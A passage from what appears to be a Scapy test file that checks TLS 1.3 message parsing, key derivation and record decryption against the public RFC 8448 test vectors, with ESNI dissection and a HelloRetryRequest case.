assert(ext[4].client_shares[0].kxlen == 32) assert(ext[4].client_shares[0].key_exchange == b'\x998\x1d\xe5`\xe4\xbdC\xd2=\x8eCZ}\xba\xfe\xb3\xc0nQ\xc1<\xaeMT\x13i\x1eR\x9a\xaf,') assert(isinstance(ext[5],TLS_Ext_SupportedVersion_CH)) assert(ext[5].len == 3) assert(ext[5].versionslen == 2) assert(ext[5].versions == [772]) assert(isinstance(ext[6], TLS_Ext_SignatureAlgorithms)) assert(ext[6].sig_algs_len == 30) assert(len(ext[6].sig_algs) == 15) assert(ext[6].sig_algs[0] == 1027) assert(ext[6].sig_algs[-1] == 514) assert(isinstance(ext[7], TLS_Ext_PSKKeyExchangeModes)) assert(ext[7].kxmodeslen == 1) assert(ext[7].kxmodes[0] == 1) assert(isinstance(ext[8], TLS_Ext_RecordSizeLimit)) assert(ext[8].record_size_limit == 16385) = Reading TLS 1.3 session - ServerHello from scapy.layers.tls.handshake import TLS13ServerHello from scapy.layers.tls.extensions import TLS_Ext_SupportedVersion_SH from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_SH assert(TLS13ServerHello in t2) sh = t2.msg[0] ext = sh.ext assert(isinstance(sh, TLS13ServerHello)) assert(sh.random_bytes == b'\xa6\xaf\x06\xa4\x12\x18`\xdc^n`$\x9c\xd3L\x95\x93\x0c\x8a\xc5\xcb\x144\xda\xc1Uw.\xd3\xe2i(') assert(sh.cipher == 0x1301) assert(len(sh.ext) == 2) assert(isinstance(ext[0], TLS_Ext_KeyShare_SH)) assert(ext[0].len == 36) assert(ext[0].server_share.group == 29) assert(ext[0].server_share.key_exchange == b'\xc9\x82\x88v\x11 \x95\xfefv+\xdb\xf7\xc6r\xe1V\xd6\xcc%;\x83=\xf1\xddi\xb1\xb0Nu\x1f\x0f') assert(isinstance(ext[1], TLS_Ext_SupportedVersion_SH)) assert(ext[1].version == 0x0304) = Reading TLS 1.3 session - TLS parsing (with encryption) does not throw any error from scapy.layers.tls.record_tls13 import TLS13 t3 = TLS13(serverEncHS, tls_session=t2.tls_session) = Reading TLS 1.3 session - TLS13 Record header assert(t3.type == 0x17) assert(t3.version == 0x0303) assert(t3.len == 674) = Reading TLS 1.3 session - TLS13 Record __getitem__ TLS13 in t3 = Reading TLS 1.3 session - TLS13 ApplicationData from scapy.layers.tls.record_tls13 import TLSInnerPlaintext TLSInnerPlaintext in t3 assert(len(t3.auth_tag) == 16) assert(t3.auth_tag == b'\xbf\x02S\xfeQu\xbe\x89\x8eu\x0e\xdcS7\r+') + Decrypt a TLS 1.3 session = Decrypt a TLS 1.3 session - Parse client Hello ~ crypto_advanced from scapy.layers.tls.extensions import TLS_Ext_SessionTicket # Values from RFC8448, section 3 x25519_clt_priv = clean(""" 49 af 42 ba 7f 79 94 85 2d 71 3e f2 78 4b cb ca a7 91 1d e2 6a dc 56 42 cb 63 45 40 e7 ea 50 05 """) x25519_clt_pub = clean(""" 99 38 1d e5 60 e4 bd 43 d2 3d 8e 43 5a 7d ba fe b3 c0 6e 51 c1 3c ae 4d 54 13 69 1e 52 9a af 2c """) t = TLS(clientHello) assert(len(t.msg) == 1) assert(t.msg[0].msgtype == 1) assert(t.msg[0].extlen == 145) assert(len(t.msg[0].ext) == 9) e = t.msg[0].ext assert(isinstance(e[0], TLS_Ext_ServerName)) assert(isinstance(e[1], TLS_Ext_RenegotiationInfo)) assert(isinstance(e[2], TLS_Ext_SupportedGroups)) assert(isinstance(e[3],TLS_Ext_SessionTicket)) assert(e[3].len == 0) assert(isinstance(e[4], TLS_Ext_KeyShare_CH)) assert(len(e[4].client_shares) == 1) assert(e[4].client_shares[0].group == 29) assert(e[4].client_shares[0].key_exchange == x25519_clt_pub) assert(isinstance(e[5], TLS_Ext_SupportedVersion_CH)) assert(isinstance(e[6], TLS_Ext_SignatureAlgorithms)) assert(isinstance(e[7], TLS_Ext_PSKKeyExchangeModes)) assert(e[7].kxmodeslen == 1) assert(len(e[7].kxmodes) == 1) assert(e[7].kxmodes[0] == 1) assert(isinstance(e[8], TLS_Ext_RecordSizeLimit)) = Decrypt a TLS 1.3 session - Parse server Hello ~ crypto_advanced from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey from scapy.layers.tls.crypto.pkcs1 import pkcs_os2ip # Values from RFC8448, section 3 x25519_srv_priv = clean(""" b1 58 0e ea df 6d d5 89 b8 ef 4f 2d 56 52 57 8c c8 10 e9 98 01 91 ec 8d 05 83 08 ce a2 16 a2 1e """) x25519_srv_pub = clean(""" c9 82 88 76 11 20 95 fe 66 76 2b db f7 c6 72 e1 56 d6 cc 25 3b 83 3d f1 dd 69 b1 b0 4e 75 1f 0f """) privkey = X25519PrivateKey.from_private_bytes(x25519_clt_priv) t.tls_session.tls13_client_privshares["x25519"] = privkey t = TLS(serverHello, tls_session=t.tls_session.mirror()) assert(len(t.msg) == 1) assert(isinstance(t.msg[0], TLS13ServerHello)) assert(len(t.msg[0].ext) == 2) e = t.msg[0].ext assert(isinstance(e[0], TLS_Ext_KeyShare_SH)) assert(e[0].server_share.group == 29) assert(e[0].server_share.key_exchange == x25519_srv_pub) assert(isinstance(e[1], TLS_Ext_SupportedVersion_SH)) = Decrypt a TLS 1.3 session - Handshake traffic secret derivation ~ crypto_advanced # Values from RFC8448, section 3 early_secret = clean(""" 33 ad 0a 1c 60 7e c0 3b 09 e6 cd 98 93 68 0c e2 10 ad f3 00 aa 1f 26 60 e1 b2 2e 10 f1 70 f9 2a """) ecdhe_secret = clean(""" 8b d4 05 4f b5 5b 9d 63 fd fb ac f9 f0 4b 9f 0d 35 e6 d6 3f 53 75 63 ef d4 62 72 90 0f 89 49 2d """) handshake_secret = clean(""" 1d c8 26 e9 36 06 aa 6f dc 0a ad c1 2f 74 1b 01 04 6a a6 b9 9f 69 1e d2 21 a9 f0 ca 04 3f be ac """) client_handshake_traffic_secret = clean(""" b3 ed db 12 6e 06 7f 35 a7 80 b3 ab f4 5e 2d 8f 3b 1a 95 07 38 f5 2e 96 00 74 6a 0e 27 a5 5a 21 """) server_handshake_traffic_secret = clean(""" b6 7b 7d 69 0c c1 6c 4e 75 e5 42 13 cb 2d 37 b4 e9 c9 12 bc de d9 10 5d 42 be fd 59 d3 91 ad 38 """) assert(len(t.tls_session.tls13_derived_secrets) == 5) assert(t.tls_session.tls13_early_secret is not None) assert(t.tls_session.tls13_early_secret == early_secret) assert(t.tls_session.tls13_dhe_secret == ecdhe_secret) assert(t.tls_session.tls13_handshake_secret is not None) assert(t.tls_session.tls13_handshake_secret == handshake_secret) assert( 'client_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets) assert( t.tls_session.tls13_derived_secrets['client_handshake_traffic_secret'] == client_handshake_traffic_secret) assert( 'server_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets) assert(t.tls_session.tls13_derived_secrets['server_handshake_traffic_secret'] == server_handshake_traffic_secret) = Decrypt a TLS 1.3 session - Server handshake traffic key calculation ~ crypto_advanced # Values from RFC8448, section 3 server_hs_traffic_key = clean(""" 3f ce 51 60 09 c2 17 27 d0 f2 e4 e8 6e e4 03 bc """) server_hs_traffic_iv = clean(""" 5d 31 3e b2 67 12 76 ee 13 00 0b 30 """) assert(t.tls_session.prcs.cipher.key == server_hs_traffic_key) assert(t.tls_session.prcs.cipher.fixed_iv == server_hs_traffic_iv) = Decrypt a TLS 1.3 session - Decrypt and parse server encrypted handshake ~ crypto_advanced # Values from RFC8448, section 3 server_finished = clean(""" 88 63 e6 bf b0 42 0a 92 7f a2 7f 34 33 6a 70 ae 42 6e 96 8e 3e b8 84 94 5b 96 85 6d ba 39 76 d1 """) t = TLS13(serverEncHS, tls_session=t.tls_session) assert(t.deciphered_len == 658) assert(t.inner.type == 22) assert(len(t.inner.msg) == 4) assert(t.auth_tag == b'\xbf\x02S\xfeQu\xbe\x89\x8eu\x0e\xdcS7\r+') m = t.inner.msg = Decrypt a TLS 1.3 session - Parse decrypted EncryptedExtension ~ crypto_advanced from scapy.layers.tls.handshake import TLSEncryptedExtensions assert(isinstance(m[0], TLSEncryptedExtensions)) assert(m[0].msgtype == 8) assert(m[0].msglen == 36) assert(m[0].extlen == 34) assert(len(m[0].ext) == 3) assert(isinstance(m[0].ext[0], TLS_Ext_SupportedGroups)) assert(m[0].ext[0].groupslen == 18) assert(m[0].ext[0].groups == [29, 23, 24, 25, 256, 257, 258, 259, 260]) assert(isinstance(m[0].ext[1], TLS_Ext_RecordSizeLimit)) assert(m[0].ext[1].record_size_limit == 16385) assert(isinstance(m[0].ext[2], TLS_Ext_ServerName)) assert(m[0].ext[2].len == 0) = Decrypt a TLS 1.3 session - Parse decrypted TLS13Certificate ~ crypto_advanced from scapy.layers.tls.cert import Cert from scapy.layers.tls.handshake import (_ASN1CertAndExt, TLS13Certificate) assert(isinstance(m[1], TLS13Certificate)) assert(m[1].msgtype == 11) assert(m[1].msglen == 441) assert(m[1].cert_req_ctxt_len == 0) assert(m[1].cert_req_ctxt == b'') assert(m[1].certslen == 437) assert(len(m[1].certs) == 1) assert(isinstance(m[1].certs[0], _ASN1CertAndExt)) assert(m[1].certs[0].cert[0] == 432) assert(isinstance(m[1].certs[0].cert[1], Cert)) assert(m[1].certs[0].cert[1].cA == False) assert(m[1].certs[0].cert[1].isSelfSigned() == True) assert(m[1].certs[0].cert[1].issuer['commonName'] == 'rsa') assert(m[1].certs[0].cert[1].keyUsage == ['digitalSignature', 'keyEncipherment']) assert(m[1].certs[0].cert[1].notAfter_str == 'Jul 30 01:23:59 2026 GMT') assert(m[1].certs[0].cert[1].notBefore_str == 'Jul 30 01:23:59 2016 GMT') assert(m[1].certs[0].cert[1].serial == 2) assert(m[1].certs[0].cert[1].sigAlg == 'sha256WithRSAEncryption') assert(m[1].certs[0].cert[1].signatureLen == 128) assert(m[1].certs[0].cert[1].subject['commonName'] == 'rsa') assert(m[1].certs[0].cert[1].version == 3) = Decrypt a TLS 1.3 session - Parse decrypted TLSCertificateVerify ~ crypto_advanced from scapy.layers.tls.handshake import TLSCertificateVerify from scapy.layers.tls.keyexchange import _TLSSignature assert(isinstance(m[2], TLSCertificateVerify)) assert(isinstance(m[2], TLSCertificateVerify)) assert(m[2].msgtype == 15) assert(m[2].msglen == 132) assert(isinstance(m[2].sig, _TLSSignature)) assert(m[2].sig.sig_alg == 2052) assert(m[2].sig.sig_len == 128) assert(m[2].sig.sig_val == b"Zt|]\x88\xfa\x9b\xd2\xe5Z\xb0\x85\xa6\x10\x15\xb7!\x1f\x82L\xd4\x84\x14Z\xb3\xffR\xf1\xfd\xa8G{\x0bz\xbc\x90\xdbx\xe2\xd3:\\\x14\x1a\x07\x86S\xfak\xefx\x0c^\xa2H\xee\xaa\xa7\x85\xc4\xf3\x94\xca\xb6\xd3\x0b\xbe\x8dHY\xeeQ\x1f`)W\xb1T\x11\xac\x02vqE\x9eFD\\\x9e\xa5\x8c\x18\x1e\x81\x8e\x95\xb8\xc3\xfb\x0b\xf3'\x84\t\xd3\xbe\x15*=\xa5\x04>\x06=\xdae\xcd\xf5\xae\xa2\rS\xdf\xac\xd4/t\xf3") = Decrypt a TLS 1.3 session - Parse decrypted TLSFinished ~ crypto_advanced from scapy.layers.tls.handshake import TLSFinished # Values from RFC8448, section 3 server_finished = clean(""" 9b 9b 14 1d 90 63 37 fb d2 cb dc e7 1d f4 de da 4a b4 2c 30 95 72 cb 7f ff ee 54 54 b7 8f 07 18 """) assert(isinstance(m[3], TLSFinished)) assert(m[3].msgtype == 20) assert(m[3].msglen == 32) assert(m[3].vdata == server_finished) = Decrypt a TLS 1.3 session - Client handshake traffic key calculation ~ crypto_advanced # Values from RFC8448, section 3 client_hs_traffic_key = clean(""" db fa a6 93 d1 76 2c 5b 66 6a f5 d9 50 25 8d 01 """) client_hs_traffic_iv = clean(""" 5b d3 c7 1b 83 6e 0b 76 bb 73 26 5f """) assert(t.tls_session.pwcs.cipher.key == client_hs_traffic_key) assert(t.tls_session.pwcs.cipher.fixed_iv == client_hs_traffic_iv) = Decrypt a TLS 1.3 session - Decrypt and parse client encrypted handshake ~ crypto_advanced # Values from RFC8448, section 3 client_finished = clean(""" a8 ec 43 6d 67 76 34 ae 52 5a c1 fc eb e1 1a 03 9e c1 76 94 fa c6 e9 85 27 b6 42 f2 ed d5 ce 61 """) t = TLS13(clientEncHS, tls_session=t.tls_session.mirror()) assert(t.deciphered_len == 37) assert(t.inner.type == 22) assert(len(t.inner.msg) == 1) m = t.inner.msg assert(isinstance(m[0], TLSFinished)) assert(m[0].vdata == client_finished) = Decrypt a TLS 1.3 session - Application traffic secret derivation ~ crypto_advanced # Values from RFC8448, section 3 master_secret = clean(""" 18 df 06 84 3d 13 a0 8b f2 a4 49 84 4c 5f 8a 47 80 01 bc 4d 4c 62 79 84 d5 a4 1d a8 d0 40 29 19 """) client_application_traffic_secret_0 = clean(""" 9e 40 64 6c e7 9a 7f 9d c0 5a f8 88 9b ce 65 52 87 5a fa 0b 06 df 00 87 f7 92 eb b7 c1 75 04 a5 """) server_application_traffic_secret_0 = clean(""" a1 1a f9 f0 55 31 f8 56 ad 47 11 6b 45 a9 50 32 82 04 b4 f4 4b fb 6b 3a 4b 4f 1f 3f cb 63 16 43 """) exporter_master_secret = clean(""" fe 22 f8 81 17 6e da 18 eb 8f 44 52 9e 67 92 c5 0c 9a 3f 89 45 2f 68 d8 ae 31 1b 43 09 d3 cf 50 """) resumption_master_secret = clean(""" 7d f2 35 f2 03 1d 2a 05 12 87 d0 2b 02 41 b0 bf da f8 6c c8 56 23 1f 2d 5a ba 46 c4 34 ec 19 6c """) assert(t.tls_session.tls13_master_secret is not None) assert(t.tls_session.tls13_master_secret == master_secret) assert(len(t.tls_session.tls13_derived_secrets) == 9) assert('client_traffic_secrets' in t.tls_session.tls13_derived_secrets) assert(len(t.tls_session.tls13_derived_secrets['client_traffic_secrets']) == 1) assert(t.tls_session.tls13_derived_secrets['client_traffic_secrets'][0] == client_application_traffic_secret_0) assert('server_traffic_secrets' in t.tls_session.tls13_derived_secrets) assert(len(t.tls_session.tls13_derived_secrets['server_traffic_secrets']) == 1) assert(t.tls_session.tls13_derived_secrets['server_traffic_secrets'][0] == server_application_traffic_secret_0) assert('exporter_secret' in t.tls_session.tls13_derived_secrets) assert(t.tls_session.tls13_derived_secrets['exporter_secret'] == exporter_master_secret) assert('resumption_secret' in t.tls_session.tls13_derived_secrets) assert(t.tls_session.tls13_derived_secrets['resumption_secret'] == resumption_master_secret) = Decrypt a TLS 1.3 session - Application traffic keys calculation ~ crypto_advanced # Values from RFC8448, section 3 client_ap_traffic_key = clean(""" 17 42 2d da 59 6e d5 d9 ac d8 90 e3 c6 3f 50 51 """) client_ap_traffic_iv = clean(""" 5b 78 92 3d ee 08 57 90 33 e5 23 d9 """) server_ap_traffic_key = clean(""" 9f 02 28 3b 6c 9c 07 ef c2 6b b9 f2 ac 92 e3 56 """) server_ap_traffic_iv = clean(""" cf 78 2b 88 dd 83 54 9a ad f1 e9 84 """) assert(t.tls_session.rcs.cipher.key == client_ap_traffic_key) assert(t.tls_session.rcs.cipher.fixed_iv == client_ap_traffic_iv) assert(t.tls_session.wcs.cipher.key == server_ap_traffic_key) assert(t.tls_session.wcs.cipher.fixed_iv == server_ap_traffic_iv) = Decrypt a TLS 1.3 session - Decrypt and parse server NewSessionTicket ~ crypto_advanced from scapy.layers.tls.extensions import TLS_Ext_EarlyDataIndicationTicket # Value from RFC8448, section 3 serverEncTicket = clean(""" 17 03 03 00 de 3a 6b 8f 90 41 4a 97 d6 95 9c 34 87 68 0d e5 13 4a 2b 24 0e 6c ff ac 11 6e 95 d4 1d 6a f8 f6 b5 80 dc f3 d1 1d 63 c7 58 db 28 9a 01 59 40 25 2f 55 71 3e 06 1d c1 3e 07 88 91 a3 8e fb cf 57 53 ad 8e f1 70 ad 3c 73 53 d1 6d 9d a7 73 b9 ca 7f 2b 9f a1 b6 c0 d4 a3 d0 3f 75 e0 9c 30 ba 1e 62 97 2a c4 6f 75 f7 b9 81 be 63 43 9b 29 99 ce 13 06 46 15 13 98 91 d5 e4 c5 b4 06 f1 6e 3f c1 81 a7 7c a4 75 84 00 25 db 2f 0a 77 f8 1b 5a b0 5b 94 c0 13 46 75 5f 69 23 2c 86 51 9d 86 cb ee ac 87 aa c3 47 d1 43 f9 60 5d 64 f6 50 db 4d 02 3e 70 e9 52 ca 49 fe 51 37 12 1c 74 bc 26 97 68 7e 24 87 46 d6 df 35 30 05 f3 bc e1 86 96 12 9c 81 53 55 6b 3b 6c 67 79 b3 7b f1 59 85 68 4f """) t = TLS13(serverEncTicket, tls_session=t.tls_session.mirror()) assert(t.deciphered_len == 206) assert(t.inner.type == 22) assert(t.auth_tag == b'\x9c\x81SUk;lgy\xb3{\xf1Y\x85hO') assert(len(t.inner.msg) == 1) m = t.inner.msg[0] assert(m.msgtype == 4) assert(m.ticket_lifetime == 30) assert(m.ticket_age_add == 4208372421) assert(m.noncelen == 2) assert(len(m.ticket_nonce) == 2) assert(m.ticket_nonce == b'\x00\x00') assert(m.ticket == b',\x03]\x82\x93Y\xee_\xf7\xafN\xc9\x00\x00\x00\x00&*d\x94\xdcHm,\x8a4\xcb3\xfa\x90\xbf\x1b\x00p\xad=\xa2g\x7f\xa5\x90l[?}\x8f\x92\xf2(\xbd\xa4\r\xdar\x14p\xf9\xfb\xf2\x97\xb5\xae\xa6\x17do\xac\\\x03\'.\x97\x07\'\xc6!\xa7\x91A\xef_}\xe6P^[\xfb\xc3\x88\xe93Ci@\x93\x93J\xe4\xd3W') assert(len(m.ext) == 1) assert(isinstance(m.ext[0], TLS_Ext_EarlyDataIndicationTicket)) assert(m.ext[0].max_early_data_size == 1024) = Decrypt a TLS 1.3 session - Compute the PSK associated with the ticket ~ crypto_advanced from scapy.layers.tls.crypto.hkdf import TLS13_HKDF hash_len = t.tls_session.rcs.ciphersuite.hash_alg.hash_len hkdf = TLS13_HKDF(t.tls_session.rcs.ciphersuite.hash_alg.name.lower()) tls13_psk_secret = hkdf.expand_label(t.tls_session.tls13_derived_secrets['resumption_secret'], b"resumption", m.ticket_nonce, hash_len) # Value from RFC8448, section 3 psk_resumption = clean(""" 4e cd 0e b6 ec 3b 4d 87 f5 d6 02 8f 92 2c a4 c5 85 1a 27 7f d4 13 11 c9 e6 2d 2c 94 92 e1 c4 f3 """) assert(hash_len == 32) assert(tls13_psk_secret == psk_resumption) = Decrypt a TLS 1.3 session - Decrypt and parse client Application Data ~ crypto_advanced from scapy.layers.tls.record import TLSApplicationData # Values from RFC8448, section 3 payload = clean(""" 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 """) clientEncAppData = clean(""" 17 03 03 00 43 a2 3f 70 54 b6 2c 94 d0 af fa fe 82 28 ba 55 cb ef ac ea 42 f9 14 aa 66 bc ab 3f 2b 98 19 a8 a5 b4 6b 39 5b d5 4a 9a 20 44 1e 2b 62 97 4e 1f 5a 62 92 a2 97 70 14 bd 1e 3d ea e6 3a ee bb 21 69 49 15 e4 """) t = TLS13(clientEncAppData, tls_session=t.tls_session.mirror()) assert(t.deciphered_len == 51) assert(len(t.inner.msg) == 1) assert(t.inner.type == 23) m = t.inner.msg[0] assert(isinstance(m, TLSApplicationData)) assert(m.data == payload) = TLS_Ext_EncryptedServerName(), dissect ~ crypto_advanced from scapy.layers.tls.extensions import TLS_Ext_EncryptedServerName clientHello3 = clean(""" 16030102c4010002c003034b1 40e7d15fc8db422cec056fbaf 0285d306df4eedad1bc6ea57d 5114e6bd52a20a5b9c7445955 e296b886469c974648cda0a68 5d3c06d884e388f6475c32e03 2d0024130113031302c02bc02 fcca9cca8c02cc030c00ac009 c013c01400330039002f00350 00a0100025300170000ff0100 0100000a000e000c001d00170 018001901000101000b000201 00002300000010000b0009086 87474702f312e310005000501 000000000033006b0069001d0 02037adee0aacc37b08d47222 caf6a5097a800fcf8406ae118 38f6348294d2dde1200170041 048b127c905d6d487a40b8b19 c99c56aa1a8c208218c178dae 02568547b2ce8f538a530b858 a7a2f608d66e148baa5693d03 c519b45017c63f48c5a4c1238 707bc002b0009080304030303 020301000d001800160403050 3060308040805080604010501 060102030201002d00020101f fce016e1301001d0020912e86 b776ee552a6bb1e2c70d7b467 770b190432237cc743a93091d ce24623500208bc16fdcbbc7c 8756808c94f70464d68297975 f33be90e1a200633f5eb2d4c6 101249e073bff833782e57e88 2519a53ef8bde4c94a7878a2f 8461aec57802440007c7b2dab 986d9bc79257ce00ca6a998b1 fadb0114161069d364ccebae8 dab6c88151f297daeaecfd2e1 a598a486e2efc9561298f8dd5 f35d184f0e87768777d253e68 952b730a24b342fde10df4f8e 82afdc2f10c2481634d92015d 9d5e6a9566494735d9c079115 bdeb0cd019098d1cf847c53ef 4aac41560cacdc7ce166399df 5b0c0af91d5be3f7d8224755a aa6046de52875f9ef9ac15372 7ce08019bc2648beb4b1418cb 4979ff7eaeedaec2b15695508 4d5a480cb939fdc7f00e6cc6f c0f9675276a9d607686c4d779 d4bb7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d4eaf 386acc17dea11e37a09f63da3 d059243b35f449e891255ac7b 4f631509d7060f001c0002400 1 """) t = TLS(clientHello3) clientESNI = t.msg[0].ext[11] assert isinstance(clientESNI, TLS_Ext_EncryptedServerName) and clientESNI.cipher == 4865 = TLS_Ext_EncryptedServerName(), basic instantiation ~ crypto_advanced esni = TLS_Ext_EncryptedServerName(key_exchange_group=29,encrypted_sni=clean(""" ffce016e1301001d00209 12e86b776ee552a6bb1e2 c70d7b467770b19043223 7cc743a93091dce246235 00208bc16fdcbbc7c8756 808c94f70464d68297975 f33be90e1a200633f5eb2 d4c6101249e073bff8337 82e57e882519a53ef8bde 4c94a7878a2f8461aec57 802440007c7b2dab986d9 bc79257ce00ca6a998b1f adb0114161069d364cceb ae8dab6c88151f297daea ecfd2e1a598a486e2efc9 561298f8dd5f35d184f0e 87768777d253e68952b73 0a24b342fde10df4f8e82 afdc2f10c2481634d9201 5d9d5e6a9566494735d9c 079115bdeb0cd019098d1 cf847c53ef4aac41560ca cdc7ce166399df5b0c0af 91d5be3f7d8224755aaa6 046de52875f9ef9ac1537 27ce08019bc2648beb4b1 418cb4979ff7eaeedaec2 b156955084d5a480cb939 fdc7f00e6cc6fc0f96752 76a9d607686c4d779d4bb 7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d 4eaf386acc17dea11e37a 09f63da3d059243b35f44 9e891255ac7b4f631509d 7060f """)) assert esni.key_exchange_group == 29 and esni.encrypted_sni==clean(""" ffce016e1301001d00209 12e86b776ee552a6bb1e2 c70d7b467770b19043223 7cc743a93091dce246235 00208bc16fdcbbc7c8756 808c94f70464d68297975 f33be90e1a200633f5eb2 d4c6101249e073bff8337 82e57e882519a53ef8bde 4c94a7878a2f8461aec57 802440007c7b2dab986d9 bc79257ce00ca6a998b1f adb0114161069d364cceb ae8dab6c88151f297daea ecfd2e1a598a486e2efc9 561298f8dd5f35d184f0e 87768777d253e68952b73 0a24b342fde10df4f8e82 afdc2f10c2481634d9201 5d9d5e6a9566494735d9c 079115bdeb0cd019098d1 cf847c53ef4aac41560ca cdc7ce166399df5b0c0af 91d5be3f7d8224755aaa6 046de52875f9ef9ac1537 27ce08019bc2648beb4b1 418cb4979ff7eaeedaec2 b156955084d5a480cb939 fdc7f00e6cc6fc0f96752 76a9d607686c4d779d4bb 7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d 4eaf386acc17dea11e37a 09f63da3d059243b35f44 9e891255ac7b4f631509d 7060f """) = Decrypt a TLS 1.3 session - Decrypt and parse server Application Data ~ crypto_advanced # Values from RFC8448, section 3 payload = clean(""" 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 """) serverEncAppData = clean(""" 17 03 03 00 43 2e 93 7e 11 ef 4a c7 40 e5 38 ad 36 00 5f c4 a4 69 32 fc 32 25 d0 5f 82 aa 1b 36 e3 0e fa f9 7d 90 e6 df fc 60 2d cb 50 1a 59 a8 fc c4 9c 4b f2 e5 f0 a2 1c 00 47 c2 ab f3 32 54 0d d0 32 e1 67 c2 95 5d """) t = TLS13(serverEncAppData, tls_session=t.tls_session.mirror()) assert(t.deciphered_len == 51) assert(len(t.inner.msg) == 1) assert(t.inner.type == 23) m = t.inner.msg[0] assert(isinstance(m, TLSApplicationData)) assert(m.data == payload) = Decrypt a TLS 1.3 session - Decrypt client Alert ~ crypto_advanced from scapy.layers.tls.record import TLSAlert # Value from RFC8448, section 3 clientEncAlert = clean(""" 17 03 03 00 13 c9 87 27 60 65 56 66 b7 4d 7f f1 15 3e fd 6d b6 d0 b0 e3 """) t = TLS13(clientEncAlert, tls_session=t.tls_session.mirror()) assert(t.deciphered_len == 3) assert(len(t.inner.msg) == 1) assert(t.inner.type == 21) m = t.inner.msg[0] assert(isinstance(m, TLSAlert)) assert(m.level == 1) assert(m.descr == 0) = Decrypt a TLS 1.3 session - Decrypt server Alert ~ crypto_advanced # Value from RFC8448, section 3 serverEncAlert = clean(""" 17 03 03 00 13 b5 8f d6 71 66 eb f5 99 d2 47 20 cf be 7e fa 7a 88 64 a9 """) t = TLS13(serverEncAlert, tls_session=t.tls_session.mirror()) assert(t.deciphered_len == 3) assert(len(t.inner.msg) == 1) assert(t.inner.type == 21) m = t.inner.msg[0] assert(isinstance(m, TLSAlert)) assert(m.level == 1) assert(m.descr == 0) ########### HelloRetryRequest ############################################### + Decrypt a TLS 1.3 session with a retry = Decrypt a TLS 1.3 session with a retry - Parse first ClientHello # Values from RFC8448, section 5 x25519_clt_priv = clean(""" 0e d0 2f 8e 81 17 ef c7 5c a7 ac 32 aa 7e 34 ed a6 4c dc 0d da d1 54 a5 e8 52 89 f9 59 f6 32 04 """) x25519_clt_pub = clean(""" e8 e8 e3 f3 b9 3a 25 ed 97 a1 4a 7d ca cb 8a 27 2c 62 88 e5 85 c6 48 4d 05 26 2f ca d0 62 ad 1f """) clientHello1 = clean(""" 16 03 01 00 b4 01 00 00 b0 03 03 b0 b1 c5 a5 aa 37 c5 91 9f 2e d1 d5 c6 ff f7 fc b7 84 97 16 94 5a 2b 8c ee 92 58 a3 46 67 7b 6f 00 00 06 13 01 13 03 13 02 01 00 00 81 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01 00 00 0a 00 08 00 06 00 1d 00 17 00 18 00 33 00 26 00 24 00 1d 00 20 e8 e8 e3 f3 b9 3a 25 ed 97 a1 4a 7d ca cb 8a 27 2c 62 88 e5 85 c6 48 4d 05 26 2f ca d0 62 ad 1f 00 2b 00 03 02 03 04 00 0d 00 20 00 1e 04 03 05 03 06 03 02 03 08 04 08 05 08 06 04 01 05 01 06 01 02 01 04 02 05 02 06 02 02 02 00 2d 00 02 01 01 00 1c 00 02 40 01 """) t = TLS(clientHello1) assert(len(t.msg) == 1) assert(t.msg[0].msgtype == 1) assert(t.msg[0].extlen == 129) assert(len(t.msg[0].ext) == 8) e = t.msg[0].ext assert(isinstance(e[0], TLS_Ext_ServerName)) assert(isinstance(e[1], TLS_Ext_RenegotiationInfo)) assert(isinstance(e[2], TLS_Ext_SupportedGroups)) assert(isinstance(e[3],TLS_Ext_KeyShare_CH)) assert(len(e[3].client_shares) == 1) assert(e[3].client_shares[0].group == 29) assert(e[3].client_shares[0].key_exchange == x25519_clt_pub) assert(isinstance(e[4], TLS_Ext_SupportedVersion_CH)) assert(isinstance(e[5], TLS_Ext_SignatureAlgorithms)) assert(isinstance(e[6], TLS_Ext_PSKKeyExchangeModes)) assert(e[6].kxmodeslen == 1) assert(len(e[6].kxmodes) == 1) assert(e[6].kxmodes[0] == 1) assert(isinstance(e[7], TLS_Ext_RecordSizeLimit)) secp256_srv_pub = clean(""" 8c 51 06 01 f9 76 5b fb 8e d6 93 44 9a 48 98 98 59 b5 cf a8 79 cb 9f 54 43 c4 1c 5f f1 06 34 ed """) secp256_srv_pub = clean(""" 04 58 3e 05 4b 7a 66 67 2a e0 20 ad 9d 26 86 fc c8 5b 5a d4 1a 13 4a 0f 03 ee 72 b8 93 05 2b d8 5b 4c 8d e6 77 6f 5b 04 ac 07 d8 35 40 ea b3 e3 d9 c5 47 bc 65 28 c4 31 7d 29 46 86 09 3a 6c ad 7d """) = Decrypt a TLS 1.3 session with a retry - Parse ServerHelloRetryRequest from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_HRR from scapy.layers.tls.extensions import TLS_Ext_Cookie from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes # Value from RFC8448, section 5 helloRetryRequest = clean(""" 16 03 03 00 b0 02 00 00 ac 03 03 cf 21 ad 74 e5 9a 61 11 be 1d 8c 02 1e 65 b8 91 c2 a2 11 16 7a bb 8c 5e 07 9e 09 e2 c8 a8 33 9c 00 13 01 00 00 84 00 33 00 02 00 17 00 2c 00 74 00 72 71 dc d0 4b b8 8b c3 18 91 19 39 8a 00 00 00 00 ee fa fc 76 c1 46 b8 23 b0 96 f8 aa ca d3 65 dd 00 30 95 3f 4e df 62 56 36 e5 f2 1b b2 e2 3f cc 65 4b 1b 5b 40 31 8d 10 d1 37 ab cb b8 75 74 e3 6e 8a 1f 02 5f 7d fa 5d 6e 50 78 1b 5e da 4a a1 5b 0c 8b e7 78 25 7d 16 aa 30 30 e9 e7 84 1d d9 e4 c0 34 22 67 e8 ca 0c af 57 1f b2 b7 cf f0 